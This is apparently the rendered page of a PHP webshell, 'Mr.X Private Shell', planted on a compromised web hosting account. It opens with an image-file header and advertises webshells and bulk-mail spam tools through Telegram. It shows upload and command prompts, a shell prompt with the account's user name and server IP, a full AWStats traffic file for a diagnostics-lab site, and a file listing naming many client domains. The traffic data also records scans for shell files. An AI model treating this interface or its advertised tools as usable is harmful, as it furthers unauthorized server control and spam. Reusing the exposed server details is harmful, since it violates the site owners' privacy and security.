����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

brigzrov@216.73.216.164: ~ $
AWSTATS DATA FILE 8.0 (build 20240604)
# If you remove this file, all statistics for date 202607 will be lost/reset.
# Last config file used to build this data file was /home/brigzrov/tmp/awstats/awstats.purecarediagnostics.com.brightwhitellc.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2110                
POS_TIME 2782                
POS_VISITOR 9320                
POS_DAY 18533               
POS_DOMAIN 3497                
POS_LOGIN 3921                
POS_ROBOT 4076                
POS_WORMS 4764                
POS_EMAILSENDER 4895                
POS_EMAILRECEIVER 5038                
POS_SESSION 19185               
POS_FILESIZE 20346               
POS_REQUESTTIME 20487               
POS_SIDER 19384               
POS_FILETYPES 5173                
POS_DOWNLOADS 5370                
POS_OS 5483                
POS_BROWSER 5727                
POS_SCREENSIZE 6500                
POS_UNKNOWNREFERER 6574                
POS_UNKNOWNREFERERBROWSER 7325                
POS_ORIGIN 7780                
POS_SEREFERRALS 7916                
POS_PAGEREFS 8060                
POS_SEARCHWORDS 8234                
POS_KEYWORDS 8386                
POS_MISC 2446                
POS_ERRORS 8445                
POS_CLUSTER 3777                
POS_SIDER_404 8579                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20260803091808 1 0 10946412034697
FirstTime 20260701000737
LastTime 20260730062002
LastUpdate 20260803153709 1 0 0 0 0
TotalVisits 386                 
TotalUnique 253                 
MonthHostsKnown 0                   
MonthHostsUnknown 256                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
JavascriptDisabled 0 0 0
PDFSupport 0 0 0
TotalMisc 0 0 0
RealPlayerSupport 0 0 0
FlashSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
DirectorSupport 0 0 0
QuickTimeSupport 0 0 0
JavaEnabled 0 0 0
AddToFavourites 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 22 22 1871 337 343 107582
1 24 24 0 20 20 1242
2 21 23 98978 19 19 25222
3 23 23 3738 189 196 122065
4 13 13 1871 5 5 1242
5 16 16 1872 7 8 0
6 45 47 9708312 13 14 1222
7 25 25 10792 17 23 6964
8 14 16 16619 12 15 5564
9 38 38 14965 21 35 6003
10 26 26 9388 16 21 6250
11 21 21 71360 14 15 10853
12 16 16 3972 3 4 77
13 26 26 5620 15 18 77
14 21 21 3757 165 165 57419
15 17 18 0 302 304 73551
16 20 20 3853 151 156 2363
17 17 17 1871 9 10 2096
18 17 17 0 9 9 0
19 16 16 0 163 167 71262
20 22 22 3738 12 16 208
21 21 21 1867 16 18 12474
22 23 23 1986 19 25 5404
23 21 21 1867 16 17 1242
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 19
us 309 312 198771
jp 126 130 9752154
cn 50 50 5813
ir 15 15 1986
se 7 7 3734
in 2 2 0
ca 2 2 0
nl 2 2 0
ru 2 2 1986
gr 1 1 1867
de 1 1 0
fr 1 1 0
ph 1 1 0
pk 1 1 0
ro 1 1 0
ua 1 1 0
cl 1 1 0
za 1 1 1986
ie 1 1 0
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 17
no_user_agent 1209 250089 20260730031553 0
Googlebot/ 40 162274 20260729004948 12
facebookexternalhit/ 10 0 20260729010224 0
unknown 9 77 20260729205458 9
Baiduspider/ 8 0 20260724004358 0
AhrefsBot/ 7 0 20260724071233 3
checker 6 3757 20260728143001 0
Go\-http\-client/ 5 6616 20260729074507 0
crawl 2 0 20260717165647 1
bingbot/ 2 0 20260718080423 1
link 1 0 20260729104027 0
curl 1 0 20260728194924 0
DuckDuckBot 1 0 20260728191730 0
nutch 1 77 20260702163442 1
Applebot/ 1 0 20260716191119 1
robot 1 104 20260712161626 1
DotBot/ 1 77 20260705094239 1
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 8
xml 1 0 0 0
js 2 98978 0 0
txt 3 15980 0 0
html 269 140057 0 0
php 232 193 0 0
zip 1 9692544 0 0
Unknown 23 11916 0 0
gif 1 8629 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 3
/license.txt 2 0 15980
/llms.txt 1 0 0
/purecare.zip 1 0 9692544
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 13
androidnougat 14 14
android10 8 8
android12 1 1
linux 16 16
ios_iphone 190 186
win95 1 1
android13 3 3
macosx15 7 6
win10 56 56
android 1 1
win7 8 8
Unknown 225 225
macosx10 2 0
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 36
chrome114.0.0.0 3 3
chrome112.0.5615.136 1 1
chrome60.0.3112.107 14 14
chrome137.0.0.0 2 2
firefox133.0 2 2
chrome149.0.0.0 1 1
safari17.1.2 2 2
chrome101.0.4951.61 1 1
safari13.0.3 186 183
chrome105.0.0.0 1 1
chrome126.0 3 2
chrome139.0.0.0 1 1
firefox123 1 1
chrome90.0.4430.72 1 1
chrome126 1 1
chrome39.0.2171.95 2 0
chrome125.0.0.0 1 1
Unknown 216 216
chrome150.0.0.0 7 7
chrome50.0.2661.102 8 8
chrome91.0.4472.114 1 1
chrome131.0.0.0 6 6
chrome133.0.0.0 1 1
chrome78.0.3904.108 10 10
firefox142.0 4 4
chrome124.0.0.0 1 1
mozilla 9 9
chrome115.0.0.0 1 1
chrome63.0.3239.132 8 8
safari15.4 2 1
chrome142.0.0.0 6 6
netscape3.01 1 1
chrome146.0.0.0 2 2
chrome122.0.0.0 2 2
chrome120.0.0.0 23 23
chrome86.0.4240.193 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 9
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20260729202031
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20260715110525
GoogleOther 20260722035809
Mozilla/5.0_(compatible;_ips-agent) 20260729205459
Mozilla/5.0_(compatible;_RecScan/2.0) 20260719113228
WordPress/7.0.1;_https://purecarediagnostics.com 20260721142843
WordPress/7.0;_https://purecarediagnostics.com 20260709131735
Hello_from_Palo_Alto_Networks,_find_out_more_about_our_scans_in_https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity 20260719201400
WordPress/7.0.2;_https://purecarediagnostics.com 20260730031551
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 5
GoogleOther 20260722035809
WordPress/7.0.2;_https://purecarediagnostics.com 20260730031551
WordPress/7.0.1;_https://purecarediagnostics.com 20260721142843
Hello_from_Palo_Alto_Networks,_find_out_more_about_our_scans_in_https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity 20260719201400
WordPress/7.0;_https://purecarediagnostics.com 20260709131735
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 497 503
From1 14 14
From2 0 0
From3 6 6
From4 8 9
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 0
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
http://m.facebook.com 6 6
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
404 27 62310
301 224 0
500 2 2317
503 8 7844
403 23 24840
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 13
/cgi-bin/index.php 2 -
/wp-json/ 1 -
/allsitemap.xml/1111/1111.html 3 -
/wp-json/wp/v2/users/ 2 -
/robots.txt 4 -
/allsitemap.xml/sxallsitemap.xml 3 -
/000.php 1 -
/wp-json/oembed/1.0/embed 2 -
/components/com_sppagebuilder/assets/css/sppagebuilder.css 1 -
/wp-trackback.php 1 -
//cgi-bin/index.php 4 -
/wp-includes/wlwmanifest.xml 2 -
/wp-content/plugins/fix/up.php 1 http://purecarediagnostics.com//wp-content/plugins/fix/up.php
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 256
199.188.201.114 212 212 0 20260730031551
62.60.130.233 14 14 0 20260730062002
34.138.14.137 5 5 35680 20260714110423
34.24.249.244 5 5 35680 20260714110439
66.132.195.119 4 4 5613 20260714091323
173.208.148.34 3 3 0 20260724220133
43.155.26.193 3 3 1871 20260729060044
43.130.78.203 3 3 0 20260720215637
15.181.1.164 3 3 0 20260729010249
162.14.114.97 3 3 0 20260721165627
43.164.0.21 3 3 0 20260723021148
139.155.126.16 3 3 0 20260718174032
43.161.251.162 2 2 1867 20260729051633
129.226.146.146 2 2 0 20260728095829
23.96.6.196 2 3 0 20260722151229
43.164.192.151 2 2 0 20260723163941
124.221.163.189 2 2 0 20260717010528
43.166.1.243 2 2 0 20260721233613
43.157.148.38 2 2 1871 20260728214317
34.55.69.94 2 2 0 20260724153820
43.165.65.117 2 2 0 20260718075859
43.153.71.132 2 2 1886 20260720141046
1.12.70.96 2 2 0 20260728123308
123.207.65.62 2 2 0 20260729091824
43.157.38.131 2 2 0 20260723125143
106.52.49.148 1 1 0 20260717150614
67.249.120.139 1 1 0 20260728214302
43.166.132.142 1 1 0 20260724083840
164.90.141.114 1 1 0 20260724092932
43.165.186.188 1 1 0 20260719051012
139.155.134.17 1 1 0 20260720013003
123.88.228.189 1 1 0 20260717203240
43.160.241.129 1 1 0 20260720000456
170.106.35.153 1 1 0 20260714204806
54.173.131.118 1 1 0 20260724132257
43.135.144.126 1 1 1871 20260713134845
43.166.239.145 1 1 0 20260724005641
62.141.44.236 1 1 0 20260722075331
47.106.176.21 1 1 0 20260715015004
43.135.133.241 1 1 0 20260722144823
192.36.109.104 1 1 1867 20260713071454
103.187.227.126 1 1 0 20260724211622
89.125.37.162 1 1 0 20260728111746
104.194.206.226 1 1 0 20260720221517
43.166.255.102 1 1 1867 20260713091200
43.153.74.75 1 1 0 20260730051450
43.135.139.165 1 1 0 20260715155350
162.14.66.219 1 1 1882 20260714104707
54.177.84.88 1 1 0 20260717195527
159.75.131.179 1 1 0 20260721000534
93.158.90.73 1 1 0 20260718170632
43.157.180.116 1 1 0 20260719084635
24.144.90.21 1 1 0 20260721055632
77.221.158.175 1 1 1986 20260709071602
49.51.233.46 1 1 1882 20260714101653
147.185.132.31 1 1 0 20260718213127
43.153.49.151 1 1 0 20260729091240
43.160.240.216 1 1 0 20260715002217
46.101.109.172 1 1 0 20260723230715
43.155.162.41 1 1 0 20260722140336
43.162.95.192 1 1 0 20260719092900
172.120.9.59 1 1 0 20260714235749
206.135.43.62 1 1 1986 20260710120919
43.167.239.66 1 1 0 20260723055911
34.23.209.198 0 2 98978 
43.157.46.118 1 1 0 20260722040848
150.109.46.88 1 1 1867 20260713130254
43.159.144.16 1 1 0 20260723133230
43.163.112.239 1 1 1867 20260713235440
66.249.74.166 1 1 0 20260722035809
43.134.23.177 1 1 0 20260728024025
43.159.143.187 1 1 0 20260720111424
43.153.26.165 0 1 7990 
43.163.80.48 1 1 0 20260719164155
43.157.20.63 1 1 0 20260721202844
1.192.39.141 1 1 0 20260718231923
153.80.245.242 1 1 1986 20260707122722
38.137.15.218 1 1 0 20260729132623
204.1.70.89 1 1 0 20260728171216
101.32.208.70 1 1 193 20260713060103
152.136.23.159 1 1 0 20260720150603
101.33.81.73 1 1 0 20260729020224
173.252.70.36 1 1 0 20260729010115
43.128.149.102 1 1 0 20260719055343
3.85.38.55 1 1 0 20260723092626
173.252.82.61 1 1 0 20260729010049
170.106.107.87 1 1 0 20260718135608
178.128.229.6 1 1 1867 20260713091903
172.120.9.36 1 1 0 20260724004358
129.204.188.64 1 1 0 20260723155859
43.159.138.217 1 1 0 20260714171538
183.250.63.149 1 1 0 20260721181757
5.133.192.175 1 1 0 20260721115347
44.204.208.208 1 1 0 20260720232533
43.130.111.40 1 1 0 20260715233851
49.51.204.74 1 1 0 20260718130402
101.32.15.141 1 1 0 20260714175508
43.156.79.172 1 1 0 20260730000911
43.136.86.241 1 1 0 20260723091317
43.157.170.126 1 1 0 20260719020450
43.153.86.78 1 1 1875 20260714073557
43.138.68.113 1 1 0 20260730054210
209.50.189.210 1 1 0 20260728074051
104.164.163.247 1 1 0 20260716213642
43.157.95.239 1 1 1871 20260713072139
43.130.67.33 1 1 0 20260719011836
106.52.216.13 1 1 0 20260725012303
103.173.162.95 1 1 0 20260729120156
43.156.36.169 1 1 0 20260729203123
54.144.238.196 1 1 1867 20260713104002
183.197.172.83 1 1 0 20260725020048
43.159.136.201 1 1 1861 20260713064322
167.99.93.29 1 1 0 20260719101224
95.133.236.111 1 1 0 20260719113228
43.161.233.190 1 1 1886 20260714142442
43.164.131.148 1 1 0 20260729193711
1.14.110.85 1 1 0 20260724184043
138.197.10.201 1 1 0 20260729085249
191.101.94.162 1 1 0 20260719144019
104.164.7.203 1 1 0 20260717223443
43.135.115.233 1 2 9692544 20260715082416
43.131.243.61 1 1 0 20260722001653
43.131.36.84 1 1 0 20260728104046
143.198.156.27 1 1 0 20260721103052
43.135.133.194 1 2 7990 20260723210127
43.157.50.58 1 1 0 20260720184231
118.24.135.34 1 1 0 20260728191227
43.130.154.56 1 1 0 20260723201802
119.28.140.106 1 1 0 20260720102828
113.64.99.24 1 1 0 20260729131441
43.154.127.188 1 1 0 20260719130410
43.165.167.69 1 1 0 20260728204127
49.51.178.45 1 1 0 20260721085651
220.197.222.214 1 1 0 20260723171410
43.130.15.147 1 1 0 20260724125527
104.164.163.238 1 1 0 20260715231941
113.64.97.6 1 1 0 20260729145338
43.134.94.96 1 1 1871 20260714040148
43.161.224.78 1 1 0 20260718171925
54.157.132.21 1 1 0 20260721102443
43.164.194.198 1 1 0 20260721060331
159.223.111.35 1 1 0 20260728214346
72.13.46.9 1 1 0 20260729205459
43.161.217.205 1 1 0 20260717120114
43.156.232.154 1 1 0 20260723095203
39.187.201.14 1 1 0 20260719184956
173.252.82.51 1 1 0 20260722035130
49.51.196.42 1 1 0 20260715112804
43.173.1.57 1 1 0 20260721161005
43.157.52.37 1 1 0 20260729095729
198.11.177.243 1 1 0 20260721123302
62.60.249.198 1 1 1986 20260711160242
43.130.131.18 1 1 0 20260719201812
49.51.38.193 1 1 0 20260716065541
43.165.195.234 1 1 1872 20260713055819
43.130.110.130 1 1 0 20260722074018
170.106.113.235 1 1 1871 20260714065252
66.132.172.203 1 1 0 20260729104851
192.36.109.102 1 1 0 20260720195207
8.136.147.18 1 1 1871 20260714094307
124.222.168.250 1 1 0 20260723062526
147.185.132.22 1 1 0 20260715060456
43.159.139.164 1 1 0 20260723090123
49.234.192.248 1 1 1867 20260713065731
49.232.104.223 1 1 0 20260729160732
43.153.54.14 1 1 0 20260715035636
115.159.145.51 1 1 0 20260723094607
175.27.163.171 2 2 0 20260724045426
146.56.229.214 1 1 0 20260717210958
43.130.141.193 1 1 0 20260722102943
146.56.197.150 1 1 0 20260720211040
43.164.197.117 1 1 1871 20260713101157
170.106.193.108 1 1 0 20260729010203
43.157.156.190 2 2 0 20260722065549
43.130.37.243 1 1 0 20260725075135
43.165.174.53 1 1 0 20260715010746
143.198.28.72 1 1 0 20260719225516
43.157.22.109 1 1 0 20260719122214
43.133.253.253 2 2 0 20260730005644
43.165.4.2 2 2 0 20260728065215
43.162.103.165 1 1 0 20260721194311
43.135.172.89 1 1 0 20260722031822
43.131.253.14 1 1 0 20260719155515
39.151.85.233 1 1 0 20260720201125
43.130.72.40 1 1 0 20260724040047
43.160.225.169 1 1 1867 20260713093206
49.235.136.28 1 1 0 20260722060304
43.160.219.138 1 1 0 20260715120952
43.135.182.43 2 2 0 20260724075804
196.65.227.20 1 1 1986 20260712060544
5.133.192.184 1 1 1867 20260713211529
173.252.82.23 1 1 0 20260722035022
104.164.14.203 1 1 0 20260720001835
43.157.53.115 1 1 1867 20260714032107
170.106.35.137 1 1 1880 20260713092131
104.164.6.200 1 1 0 20260720225422
119.95.163.205 1 1 0 20260729193938
170.106.37.134 1 1 1882 20260714134717
43.165.7.74 1 1 0 20260720145521
43.166.136.153 1 1 0 20260720035313
43.135.145.117 1 1 0 20260723172042
162.14.81.106 1 1 1871 20260714034131
157.66.67.132 1 1 0 20260725045852
47.254.92.190 2 2 0 20260723051714
124.156.226.179 1 1 0 20260728164716
172.238.253.23 1 1 0 20260729194657
77.81.103.45 1 1 0 20260719144018
121.4.76.132 1 1 0 20260722210957
43.166.134.114 1 1 0 20260724050103
43.159.143.190 1 1 0 20260715185846
43.164.190.28 1 1 0 20260728015442
147.185.132.87 1 1 0 20260719201400
104.164.6.207 1 1 0 20260720233727
209.38.67.114 1 1 0 20260717092934
1.13.158.23 2 2 1871 20260716120233
43.130.16.212 1 1 0 20260721165254
43.153.96.233 2 2 0 20260729133231
43.153.19.83 1 1 0 20260713080202
173.252.70.28 1 1 0 20260722035056
175.27.136.83 1 1 0 20260718041323
43.155.157.239 1 1 3193 20260713070031
43.159.152.4 1 1 0 20260729145428
175.178.110.121 1 1 0 20260718105814
43.130.47.33 1 1 0 20260728150917
82.156.34.74 1 1 0 20260719062112
43.153.49.250 0 1 8629 
64.89.160.197 1 1 0 20260722153858
43.134.38.171 1 1 0 20260722182459
216.169.140.58 1 1 0 20260729162732
170.106.113.159 1 1 1871 20260713172514
13.52.221.215 1 1 0 20260724170010
184.82.170.85 1 1 0 20260724035749
43.162.103.213 1 1 0 20260720030800
43.161.234.148 1 1 0 20260720223941
43.164.1.211 1 1 0 20260715074257
43.140.247.223 1 1 0 20260719131842
68.183.198.164 1 1 0 20260715101443
65.21.133.106 1 1 0 20260728074050
43.157.95.131 2 2 0 20260722174357
159.203.110.126 1 1 0 20260723085714
192.144.148.122 1 1 0 20260717082721
192.71.2.99 1 1 0 20260724151529
192.36.109.108 1 1 0 20260728183130
43.135.142.7 1 1 0 20260722111333
101.33.55.204 1 1 0 20260715225709
58.65.173.194 1 1 0 20260728045039
23.94.133.118 1 1 1986 20260705225817
43.135.130.202 1 1 1867 20260713201542
43.134.93.164 1 1 0 20260730042701
124.220.42.101 2 2 0 20260729223904
198.204.240.42 1 1 0 20260721033513
60.222.126.142 1 1 0 20260723140551
66.132.195.63 1 1 0 20260729202031
170.106.180.184 1 1 0 20260716214923
173.252.70.112 1 1 0 20260729010150
185.247.137.130 1 1 0 20260715110525
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 29
20260701 29 29 0 9
20260702 14 14 0 8
20260703 16 16 0 9
20260704 13 13 0 8
20260705 24 24 1986 9
20260706 19 19 0 5
20260707 19 19 1986 9
20260708 13 13 0 8
20260709 17 17 1986 10
20260710 21 21 1986 9
20260711 7 7 1986 6
20260712 14 14 1986 7
20260713 28 31 9749286 27
20260714 32 32 99488 21
20260715 23 23 0 23
20260716 10 10 0 10
20260717 11 11 0 11
20260718 12 12 0 12
20260719 22 22 0 22
20260720 22 24 98978 22
20260721 21 21 0 20
20260722 24 25 0 23
20260723 21 21 0 21
20260724 18 18 0 17
20260725 4 4 0 4
20260727 0 1 8629 0
20260728 19 19 0 19
20260729 32 32 0 30
20260730 20 20 0 7
END_DAY

# Session range - Number of visits
BEGIN_SESSION 6
30mn-1h 21
0s-30s 334
1h+ 21
30s-2mn 1
15mn-30mn 7
5mn-15mn 2
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 24
/ 266 136864 253 253
/wp-cron.php 212 0 101 101
/wp-json/wp/v2/posts 22 11916 22 22
/index.php 4 0 4 4
/wp-content/ 2 0 1 1
/images/images/images/cache.php 1 0 0 0
/readme.html 1 3193 1 1
/wp-json/batch/v1 1 0 1 0
/assets/images/images/cache.php 1 0 0 0
/wp-content/plugins/plugins/cache.php 1 0 0 0
/cache/cache/cache.php 1 0 0 1
/shell.php 1 0 1 1
/sitemap.xml 1 0 0 1
/images/images/images/images/images/cache.php 1 0 0 0
/images/images/cache.php 1 0 1 0
/images/images/images/images/images/images/images/cache.php 1 0 0 0
/storage/storage/cache.php 1 0 0 0
/cgi-bin/cgi-bin/cgi-bin/cgi-bin/cache.php 1 0 0 0
/blogs/media/media/cache.php 1 0 0 0
/images/images/images/images/cache.php 1 0 0 0
/storage/media/media/cache.php 1 0 0 0
/images/images/images/images/images/images/cache.php 1 0 0 0
/images/images/images/images/images/images/images/images/cache.php 1 0 0 0
/wp-links-opml.php 1 193 1 1
END_SIDER

# Payload Range - Payload Frequency
BEGIN_FILESIZE 7
5K+ 38
2K-5K 46
500-1K 7
100-500 5
0-44 1922
44-100 9
1K-2K 128
END_FILESIZE

# Request Time Range - Request Time Frequency
BEGIN_REQUESTTIME 0
END_REQUESTTIME

Filemanager

Name Type Size Permission Actions
ssl Folder 0700
awstats.alderstonellc.org.brightwhitellc.com.conf File 25.59 KB 0644
awstats.axentdiagnostics.com.brightwhitellc.com.conf File 25.6 KB 0644
awstats.billcurebillingservices.com.brightwhitellc.com.conf File 25.41 KB 0644
awstats.brightwhitellc.com.conf File 25.36 KB 0644
awstats.codelogicllc.com.brightwhitellc.com.conf File 25.39 KB 0644
awstats.coloradodiagnosticslab.com.brightwhitellc.com.conf File 25.41 KB 0644
awstats.corewisellc.org.brightwhitellc.com.conf File 25.39 KB 0644
awstats.davadiagnosticslabinc.com.brightwhitellc.com.conf File 25.41 KB 0644
awstats.dawncrestllc.com.brightwhitellc.com.conf File 25.71 KB 0644
awstats.elegant-lab.com.brightwhitellc.com.conf File 25.39 KB 0644
awstats.eleganthealthresourcesllc.com.brightwhitellc.com.conf File 25.41 KB 0644
awstats.fastlynq.com.brightwhitellc.com.conf File 25.91 KB 0644
awstats.gilanclinicallaboratoryllc.com.brightwhitellc.com.conf File 25.42 KB 0644
awstats.northvalellc.org.brightwhitellc.com.conf File 25.39 KB 0644
awstats.oregonclinicallaboratory.com.brightwhitellc.com.conf File 25.65 KB 0644
awstats.purecarediagnostics.com.brightwhitellc.com.conf File 25.4 KB 0644
awstats.purecarediagnostics.org.brightwhitellc.com.conf File 25.4 KB 0644
awstats.ridgewallllc.com.brightwhitellc.com.conf File 25.39 KB 0644
awstats.venturedx.org.brightwhitellc.com.conf File 25.38 KB 0644
awstats.whitediamondsllc.com.brightwhitellc.com.conf File 25.4 KB 0644
awstats.willowbrookbiosciences.org.brightwhitellc.com.conf File 25.41 KB 0644
awstats032026.brightwhitellc.com.txt File 10.24 KB 0644
awstats032026.purecarediagnostics.org.brightwhitellc.com.txt File 7.48 KB 0644
awstats032026.venturedx.org.brightwhitellc.com.txt File 8 KB 0644
awstats032026.willowbrookbiosciences.org.brightwhitellc.com.txt File 10.14 KB 0644
awstats042026.axentdiagnostics.com.brightwhitellc.com.txt File 103.94 KB 0644
awstats042026.brightwhitellc.com.txt File 6.29 KB 0644
awstats042026.corewisellc.org.brightwhitellc.com.txt File 109.06 KB 0644
awstats042026.dawncrestllc.com.brightwhitellc.com.txt File 23.13 KB 0644
awstats042026.eleganthealthresourcesllc.com.brightwhitellc.com.txt File 105.84 KB 0644
awstats042026.gilanclinicallaboratoryllc.com.brightwhitellc.com.txt File 6.5 KB 0644
awstats042026.oregonclinicallaboratory.com.brightwhitellc.com.txt File 63.32 KB 0644
awstats042026.purecarediagnostics.com.brightwhitellc.com.txt File 14.38 KB 0644
awstats042026.purecarediagnostics.org.brightwhitellc.com.txt File 6.68 KB 0644
awstats042026.venturedx.org.brightwhitellc.com.txt File 6.42 KB 0644
awstats042026.willowbrookbiosciences.org.brightwhitellc.com.txt File 6.15 KB 0644
awstats052026.axentdiagnostics.com.brightwhitellc.com.txt File 266.81 KB 0644
awstats052026.billcurebillingservices.com.brightwhitellc.com.txt File 7.83 KB 0644
awstats052026.brightwhitellc.com.txt File 6.12 KB 0644
awstats052026.corewisellc.org.brightwhitellc.com.txt File 174.38 KB 0644
awstats052026.dawncrestllc.com.brightwhitellc.com.txt File 147.63 KB 0644
awstats052026.eleganthealthresourcesllc.com.brightwhitellc.com.txt File 122.06 KB 0644
awstats052026.gilanclinicallaboratoryllc.com.brightwhitellc.com.txt File 6.17 KB 0644
awstats052026.oregonclinicallaboratory.com.brightwhitellc.com.txt File 235.74 KB 0644
awstats052026.purecarediagnostics.com.brightwhitellc.com.txt File 125.09 KB 0644
awstats052026.purecarediagnostics.org.brightwhitellc.com.txt File 6.85 KB 0644
awstats052026.venturedx.org.brightwhitellc.com.txt File 6.86 KB 0644
awstats052026.willowbrookbiosciences.org.brightwhitellc.com.txt File 7.07 KB 0644
awstats062026.alderstonellc.org.brightwhitellc.com.txt File 7.77 KB 0644
